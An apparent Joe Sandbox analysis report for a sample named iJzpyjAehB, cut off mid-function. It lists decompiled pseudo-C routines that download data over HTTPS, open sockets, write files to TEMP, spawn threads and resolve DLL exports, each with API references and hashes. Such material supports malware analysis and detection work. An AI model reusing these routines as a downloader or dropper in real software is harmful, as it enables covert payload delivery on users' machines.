					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E040097A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E04007B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E040077B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E04002510(_v40, 0x400e290);
					}
					goto L22;
				}
			}

0x04006dac
0x04006db3
0x0400723f
0x04007244
0x04007244
0x04006dc9
0x04006dd1
0x04006ddc
0x04006de5
0x04006dee
0x04006df7
0x04006e00
0x04006e09
0x04006e15
0x04007028
0x04007039
0x0400704a
0x0400704f
0x04007077
0x04007099
0x040070a6
0x040070ac
0x040070b6
0x040070c6
0x040070d5
0x040071af
0x040070db
0x040070eb
0x04007107
0x04007114
0x0400713d
0x04007163
0x0400716f
0x0400716f
0x04007183
0x04007183
0x04007189
0x040071bc
0x040071c9
0x040071e0
0x040071e5
0x040071e8
0x040071f5
0x040071fe
0x04007212
0x04007217
0x04007217
0x04007223
0x04007231
0x04007236
0x04007223
0x040071f5
0x040071c9
0x04007239
0x04007239
0x00000000
0x04007239
0x04006e1b
0x04006e22
0x04006e29
0x04006e39
0x04006eec
0x04006ef1
0x04006ef4
0x04006e3f
0x04006e4f
0x04006e65
0x04006e6c
0x04006e8c
0x04006e92
0x04006e97
0x04006e9a
0x04006ea6
0x04006ebb
0x04006eca
0x04006ecf
0x04006ecf
0x04006ea6
0x04006edd
0x04006edd
0x04006ee3
0x04006efb
0x04007012
0x00000000
0x04006f01
0x04006f08
0x04006f1c
0x04006f21
0x04006f21
0x04006f2d
0x04006f35
0x04006f3a
0x04006f3d
0x04006f49
0x04006f55
0x04006f83
0x04006f8b
0x04006fa1
0x04006fa6
0x04006fb2
0x04006fb2
0x04006f57
0x04006f5d
0x04006f65
0x04006f65
0x04006fbb
0x04006fc6
0x04006fcf
0x04006fe9
0x04006ff0
0x04006ff0
0x04006fbb
0x04006fff
0x0400700a
0x0400700f
0x00000000
0x04006fff

APIs

Sleep.KERNEL32(?), ref: 04006DC9
CoInitialize.OLE32(00000000), ref: 04006DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04006E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 04006EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 04006EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04006F7A
CreateThread.KERNEL32 ref: 04006FE3
CloseHandle.KERNEL32(?), ref: 04006FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 04007028
GetTickCount.KERNEL32 ref: 04007059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 04007077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 04007093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 0400715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04007183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 040071A9
CloseHandle.KERNEL32(000000FF), ref: 040071BC
CoUninitialize.OLE32 ref: 04007239

Strings

TEMP, xrefs: 04007023

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction ID: 2b87ebad86062e1f9aa8347128cf2fe592da7145f1ccd4accac7794ca236a0a8
Opcode Fuzzy Hash: 39e740e402b3d58b52e9657545899331c46d826c986235e8a63d4a66dd2a8cdf
Instruction Fuzzy Hash: 1FF10975A00208EFEB58DF94D984F9DB7B5BB88304F248698E509BB390D775AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04002900 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 133
networkfilestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002900(char* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				CHAR* _v28;
				char _v292;
				void _v296;
				void* _v300;
				long _v304;
				long _v308;
				char* _t54;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t54 =  *0x400e004; // 0x400c398
					_v12 = InternetOpenA(_t54, 1, 0, 0, 0);
					if(_v12 != 0) {
						_v16 = InternetConnectA(_v12, _a4, 0x1bb, 0x400c3d2, 0x400c3d1, 3, 0, 0);
						if(_v16 != 0) {
							_v20 = HttpOpenRequestA(_v16, "GET", "/", "1.1", 0, 0, 0x80800000, 0);
							if(_v20 != 0) {
								wsprintfA( &_v292, "https://%s", _a4);
								_v28 = "Accept: */*";
								_v24 = 4;
								InternetQueryOptionA(_v20, 0x1f,  &_v296,  &_v24);
								_v296 = _v296 | 0x0000b180;
								InternetSetOptionA(_v20, 0x1f,  &_v296, 4);
								if(HttpSendRequestA(_v20, _v28, lstrlenA(_v28), 0, 0) == 0) {
									_v308 = GetLastError();
								} else {
									_v300 = 0;
									while(_v300 < _a12) {
										_v304 = 0;
										InternetReadFile(_v20, _a8 + _v300, _a12 - _v300,  &_v304);
										if(_v304 != 0) {
											_v300 = _v300 + _v304;
											 *(_a8 + _v300) = 0;
											continue;
										} else {
										}
										break;
									}
									_v8 = _v300;
								}
								InternetCloseHandle(_v20);
							}
							InternetCloseHandle(_v16);
						}
						InternetCloseHandle(_v12);
					}
				}
				return _v8;
			}

0x04002909
0x04002914
0x04002936
0x04002942
0x04002949
0x04002972
0x04002979
0x040029a3
0x040029aa
0x040029c0
0x040029c9
0x040029d0
0x040029e8
0x040029f9
0x04002a0e
0x04002a33
0x04002ab5
0x04002a35
0x04002a35
0x04002a3f
0x04002a4a
0x04002a73
0x04002a80
0x04002a90
0x04002a9f
0x00000000
0x00000000
0x04002a82
0x00000000
0x04002a80
0x04002aaa
0x04002aaa
0x04002acb
0x04002acb
0x04002ad5
0x04002ad5
0x04002adf
0x04002adf
0x04002949
0x04002aeb

APIs

InternetOpenA.WININET(0400C398,00000001,00000000,00000000,00000000), ref: 0400293C
InternetConnectA.WININET(00000000,00000000,000001BB,0400C3D2,0400C3D1,00000003,00000000,00000000), ref: 0400296C
HttpOpenRequestA.WININET(00000000,GET,0400C3D8,1.1,00000000,00000000,80800000,00000000), ref: 0400299D
wsprintfA.USER32 ref: 040029C0
InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 040029E8
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002A0E
lstrlenA.KERNEL32(0400C3EC,00000000,00000000), ref: 04002A1C
HttpSendRequestA.WININET(00000000,0400C3EC,00000000), ref: 04002A2B
InternetReadFile.WININET(00000000,00000000,00000000,00000000), ref: 04002A73
GetLastError.KERNEL32 ref: 04002AAF
InternetCloseHandle.WININET(00000000), ref: 04002ACB
InternetCloseHandle.WININET(00000000), ref: 04002AD5
InternetCloseHandle.WININET(00000000), ref: 04002ADF

Strings

GET, xrefs: 04002994
1.1, xrefs: 0400298A
https://%s, xrefs: 040029B4

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenOptionRequest$ConnectErrorFileLastQueryReadSendlstrlenwsprintf
String ID: 1.1$GET$https://%s
API String ID: 2082764430-1670984264
Opcode ID: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction ID: 6d54c3b05ff69590bd14da6a4fff8ed2da31e3bdf774b399ca20979b5291bdcc
Opcode Fuzzy Hash: cac5eb598011e3025bfd3ce525b4309c6a0d8895317d56ddd471764706ed79e9
Instruction Fuzzy Hash: 02510C71944218AFEB24CF94DC89BEEB7B4EB49700F108598F605B62C0C7B8AE94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 040035E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040035E0(CHAR* _a4, intOrPtr _a8) {
				long _v8;
				struct HINSTANCE__* _v12;
				char _v532;
				void* _v536;
				long _v540;
				void* _v544;
				long _v548;
				CHAR* _v552;
				void* _v556;
				int _v560;
				char _v820;
				CHAR* _v824;
				char _v1084;
				signed char _v1085;
				long _v1092;
				intOrPtr _v1096;
				long _t124;

				_v8 = 0;
				_v12 = GetModuleHandleA(_a4);
				if(_v12 != 0) {
					E04002E50( &_v532,  &_v532, 0, 0x208);
					if(GetModuleFileNameA(_v12,  &_v532, 0x207) > 0) {
						_v536 = CreateFileA( &_v532, 0x80000000, 7, 0, 3, 0, 0);
						if(_v536 != 0xffffffff) {
							_v540 = GetFileSize(_v536, 0);
							if(_v540 > 0) {
								_v544 = VirtualAlloc(0, _v540, 0x3000, 4);
								_t155 = _v544;
								if(_v544 != 0) {
									_v548 = 0;
									ReadFile(_v536, _v544, _v540,  &_v548, 0);
									_v556 = E04003370(_v536, _t155, _v544, _v540);
									_v552 = E04003580(_a8, _v556, _a8);
									_v560 = lstrlenA(_v552);
									if(_v560 > 2 && _v560 < 0x100) {
										_v824 = _v552;
										_v1085 = 0;
										E04002E50(_v552,  &_v820, 0, 0x100);
										E04002E50(_v552,  &_v1084, 0, 0x100);
										_v1092 = 0;
										while(_v1092 < _v560) {
											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E040035E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

0x040035e9
0x040035fa
0x04003601
0x04003615
0x04003635
0x04003657
0x04003664
0x04003679
0x04003686
0x040036a2
0x040036a8
0x040036af
0x040036b5
0x040036dd
0x040036f9
0x04003712
0x04003725
0x04003732
0x0400374e
0x04003754
0x04003769
0x0400377f
0x04003787
0x040037a2
0x040037c6
0x040037e0
0x040037f2
0x04003799
0x04003799
0x0400379c
0x00000000
0x040037f4
0x0400380c
0x0400381e
0x0400383c
0x04003842
0x04003842
0x040037f2
0x00000000
0x040037c6
0x0400385d
0x04003875
0x04003875
0x0400385d
0x0400387c
0x04003893
0x040038a2
0x040038a2
0x040038b3
0x040038c7
0x040038c7
0x040036af
0x040038d4
0x040038d4
0x04003664
0x04003635
0x040038e0

APIs

GetModuleHandleA.KERNEL32(?), ref: 040035F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 0400362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 04003651
GetFileSize.KERNEL32(000000FF,00000000), ref: 04003673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040036DD
lstrlenA.KERNEL32(?), ref: 0400371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 0400380C
lstrcatA.KERNEL32(?,.dll), ref: 0400381E
lstrcpyA.KERNEL32(?,?), ref: 0400383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 040038B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040038C7
CloseHandle.KERNEL32(000000FF), ref: 040038D4

Strings

.dll, xrefs: 04003812

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction ID: c2c5132629a25a5507b869beac9dac576087064a04ada7ddd23a517ed68c32e0
Opcode Fuzzy Hash: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction Fuzzy Hash: AC814EB5940228ABEB35DF50DC89BDDB7B5AB48304F1081D8EA09B7280D674AFC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04002AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04002AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0x4013b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0x4013b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0x4013b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0x4013b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E04007D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E04007DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E04007D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E04002E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E04007B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

0x04002afb
0x04002b09
0x04002df2
0x04002dfa
0x04002b2d
0x04002b3a
0x04002b3c
0x04002b3e
0x04002b3f
0x04002b4c
0x04002b57
0x04002b5a
0x04002b6b
0x04002b72
0x04002b81
0x04002b8c
0x04002b93
0x04002b93
0x04002ba9
0x04002bb6
0x04002bbd
0x04002de0
0x00000000
0x04002bc3
0x04002bc3
0x04002bdb
0x04002be3
0x04002c10
0x04002dce
0x04002dd2
0x00000000
0x04002dd2
0x04002c25
0x04002c35
0x00000000
0x00000000
0x04002c4e
0x04002c5b
0x00000000
0x00000000
0x04002c61
0x04002c6b
0x04002c7b
0x04002c81
0x04002c97
0x04002ca4
0x00000000
0x00000000
0x04002cb4
0x04002cc6
0x04002ccf
0x04002cd5
0x04002cd8
0x00000000
0x04002cdc
0x04002cde
0x04002ce4
0x04002ced
0x04002cf3
0x04002d0b
0x04002d13
0x04002d3d
0x04002d70
0x04002d7d
0x04002d85
0x04002d8b
0x04002d91
0x04002d91
0x04002d7d
0x04002da1
0x04002db2
0x04002db7
0x04002dc8
0x00000000
0x04002dc8
0x00000000
0x04002ca6
0x04002bbd

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 04002BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04002C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04002C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 04002C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 04002D35
lstrcmpiA.KERNEL32(?,gzip), ref: 04002D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002DC8
InternetCloseHandle.WININET(00000000), ref: 04002DD2
GetLastError.KERNEL32 ref: 04002DDA

Strings

Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 04002B32
gzip, xrefs: 04002D3F

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction ID: 59e70dbda308a2a2546c0d296605ce979221f8659c43edef85f985c08622dbb4
Opcode Fuzzy Hash: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction Fuzzy Hash: 6B91FC75904218ABEB65CF94CC48BEAB7B5BB48304F50819DE609BB280DB796E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00401A87 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00401A87(struct HWND__* _a4, struct HDC__** _a8, intOrPtr* _a12) {
				void* _v12;
				int _v16;
				struct tagPIXELFORMATDESCRIPTOR _v56;
				void* _v72;
				PIXELFORMATDESCRIPTOR* _v76;
				int _v80;
				intOrPtr _v96;
				int _t35;
				void* _t59;
				struct HDC__** _t63;

				 *_a8 = GetDC(_a4);
				memset( &_v56, 0, 0x28 << 0);
				_v56.nSize = 0x28;
				_v56.nVersion = 1;
				_v56.dwFlags = 0x25;
				_v56.iPixelType = 0;
				_v56.cColorBits = 0x18;
				_v56.cDepthBits = 0x10;
				_v56.iLayerType = 0;
				_t35 = ChoosePixelFormat( *_a8,  &_v56);
				_t63 = _t59 - 0x3c + 0xc - 8;
				_v16 = _t35;
				_v76 =  &_v56;
				_v80 = _v16;
				 *_t63 =  *_a8;
				SetPixelFormat(??, ??, ??);
				 *_a12 = wglCreateContext( *_a8);
				_v96 =  *_a12;
				 *(_t63 - 8) =  *_a8;
				return wglMakeCurrent(??, ??);
			}

0x00401aa2
0x00401ab4
0x00401ab6
0x00401abc
0x00401ac2
0x00401ac9
0x00401acd
0x00401ad1
0x00401ad5
0x00401ae8
0x00401aed
0x00401af0
0x00401afb
0x00401b02
0x00401b06
0x00401b09
0x00401b26
0x00401b32
0x00401b36
0x00401b47

APIs

GetDC.USER32 ref: 00401A95
ChoosePixelFormat.GDI32 ref: 00401AE8
SetPixelFormat.GDI32 ref: 00401B09
wglCreateContext.OPENGL32 ref: 00401B19
wglMakeCurrent.OPENGL32 ref: 00401B39

Strings

%, xrefs: 00401AC2
(, xrefs: 00401AB6

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: FormatPixel$ChooseContextCreateCurrentMake
String ID: %$(
API String ID: 2475745930-93983813
Opcode ID: bd8fdc46a3119f9d830930fbf617ed2ae314094ba22175109ede142dcb2d6e48
Instruction ID: 29c35ce5724b02326a6e865684fa907032f963153ea5e9f52b2dfbce4176bea2
Opcode Fuzzy Hash: bd8fdc46a3119f9d830930fbf617ed2ae314094ba22175109ede142dcb2d6e48
Instruction Fuzzy Hash: 44210C74A057489FCB00EF69D18558EBBF1EF89314F00C469E848AB354E775EA18CB56

Uniqueness

Uniqueness Score: -1.00%

Function 100014A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 100014DB
SetLastError.KERNEL32(0000007F), ref: 10001507

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction ID: 25e538b33cc42fa1af6dbc26f5ecb21efd633c51d41fb312bc782d6f26faee88
Opcode Fuzzy Hash: 29cfafdec3d3a1262f4827b6cae24ea1b9a18653203c5f05ee1a645c7d2a8912
Instruction Fuzzy Hash: 1871F874E04109EFEB08DF94C990AAEB7B2FF48345F248598E915AB345D735EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0400A090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0400A090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L0400B210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L0400B20A();
					_v34 = 2;
					_push(_a4);
					L0400B204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L0400B1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L0400B1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

0x0400a096
0x0400a098
0x0400a09a
0x0400a09c
0x0400a0a1
0x0400a0a8
0x0400a0b7
0x0400a0bf
0x0400a0c0
0x0400a0c5
0x0400a0cc
0x0400a0cd
0x0400a0d2
0x0400a0d9
0x00000000
0x0400a0ea
0x0400a0e5
0x0400a0f2
0x0400a0f9
0x0400a0fd
0x0400a10f
0x0400a117
0x0400a119
0x0400a11c
0x0400a120
0x0400a121
0x0400a128
0x0400a10c
0x00000000
0x0400a10c
0x0400a12a
0x00000000
0x0400a12a
0x0400a138
0x0400a14c
0x0400a151
0x0400a154
0x0400a159
0x0400a15a
0x0400a15f
0x0400a167
0x0400a168
0x0400a16d
0x0400a172
0x0400a173
0x0400a178
0x0400a180
0x0400a181
0x0400a181
0x00000000
0x0400a186
0x0400a13a
0x0400a13d
0x0400a13e
0x00000000
0x0400a143
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400A09C
htons.WS2_32(?), ref: 0400A0C0
gethostbyname.WS2_32(?), ref: 0400A0CD
connect.WS2_32(000000FF,?,00000010), ref: 0400A121
closesocket.WS2_32(000000FF), ref: 0400A13E

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: a070b3506782e3d460d1e62e3f028d70face053f71bdd0f6ca274d7f1f380b7b
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 65312B70B00319ABEB10EFE4D845BFEB7B5AF98314F108659E5217B2C0E7B5A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00401110 Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00401110(signed int** _a4) {
				intOrPtr _v24;
				signed int _t10;
				intOrPtr _t23;
				intOrPtr* _t24;

				_t10 =  *( *_a4);
				if(_t10 > 0xc0000091) {
					if(_t10 == 0xc0000094) {
						_t23 = 0;
						L3:
						_v24 = 0;
						 *_t24 = 8;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
							 *_t24 = 8;
							L00402438();
							if(_t23 != 0) {
								return E00401DC8(_t10) | 0xffffffff;
							}
							return 0xffffffff;
						}
						if(_t10 != 0) {
							 *_t24 = 8;
							 *_t10();
							return 0xffffffff;
						}
						L5:
						return 0;
					}
					if(_t10 == 0xc0000096) {
						L13:
						_v24 = 0;
						 *_t24 = 4;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
